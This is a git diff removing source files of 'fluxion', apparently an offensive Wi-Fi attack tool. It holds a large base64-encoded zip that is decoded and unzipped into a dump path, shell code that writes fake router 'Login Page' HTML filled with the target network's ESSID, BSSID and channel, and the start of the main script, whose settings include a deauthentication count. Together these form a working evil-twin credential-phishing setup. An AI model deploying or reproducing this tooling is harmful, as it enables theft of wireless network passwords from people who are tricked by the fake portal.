-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 -" | base64 -d >$DUMP_PATH/file.zip - - unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device - rm $DUMP_PATH/file.zip &>$flux_output_device - - echo " - - - Login - - - - - - - -
    -
    -

    Login Page

    -
    - -
    - - "$DIALOG_WEB_OK" -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/final.html - echo " - - - Login - - - - - - -
    -
    -

    Login Page

    -
    - -
    - - "$DIALOG_WEB_ERROR" -
    - "$DIALOG_WEB_BACK" - -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/error.html - - echo " - - - Login - - - - - - - -
    -
    -

    Login Page

    -
    - -
    -
    -
    -
    - -
    ESSID:
    - -
    $Host_SSID
    - -
    BSSID:
    - -
    $Host_MAC
    - -
    Chan:
    - -
    $Host_CHAN
    - -
    - -
    - - "$DIALOG_WEB_INFO" -
    - -
    - - - -
    - -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/index.htm - -} -######################################### < INTERFACE WEB > ######################################## - - -mostrarheader && setresolution && setinterface diff --git a/nightly/0.18/fluxion/fluxion.4/fluxion b/nightly/0.18/fluxion/fluxion.4/fluxion deleted file mode 100644 index 57fd671..0000000 --- a/nightly/0.18/fluxion/fluxion.4/fluxion +++ /dev/null @@ -1,4660 +0,0 @@ -#!/bin/bash - -########## DEBUG Mode ########## -## ## - FLUX_DEBUG=0 -## ## -################################ - - - - -clear - -##################################### < CONFIGURATION > ##################################### - - -DUMP_PATH="/tmp/TMPflux" -# Number de desautentificaciones -DEAUTHTIME="30" -revision=4 -version=0.18 -IP=192.168.1.1 -RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) - -#Colores -white="\033[1;37m" -grey="\033[0;37m" -red2="\033[0;35m" -red="\033[1;31m" -green="\033[1;32m" -yellow="\033[1;33m" -blue="\033[1;34m" -transparent="\e[0m" -############################################################################################## - -# DEBUG MODE = 1 ; DEBUG MODE = 0 [Normal Mode / Developer Mode] -if [ $FLUX_DEBUG = 1 ]; then - ## Developer Mode - export flux_output_device=/dev/stdout - HOLD="-hold" -else - ## Normal Mode - export flux_output_device=/dev/null - HOLD="" -fi - -# Delete Log only in Normal Mode ! -function conditional_clear() { - - if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi -} - -function airmon { - sudo chmod +x airmon -} -airmon -# Check Updates -function checkupdatess { - - revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" - if [ -z "$revision_online" ]; then - echo "?">$DUMP_PATH/Irev - else - echo "$revision_online">$DUMP_PATH/Irev - fi - -} - -# Animation -function spinner { - - local pid=$1 - local delay=0.15 - local spinstr='|/-\' - while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do - local temp=${spinstr#?} - printf " [%c] " "$spinstr" - local spinstr=$temp${spinstr%"$temp"} - sleep $delay - printf "\b\b\b\b\b\b" - done - printf " \b\b\b\b" -} - -# ERROR Report only in Developer Mode -# FLUXION = Developer Mode -# Fluxass = Normal Mode -if [ "$FLUX_DEBUG" = "1" ]; then - trap 'err_report $FLUXION' ERR -fi - -# ERROR Report Normale Mode -function err_report { - echo "Error en la fluxass $1" -} - - -#If the script exits unexpectedly -trap exitmode SIGINT SIGHUP - -# KILL ALL -function exitmode { - - echo -e 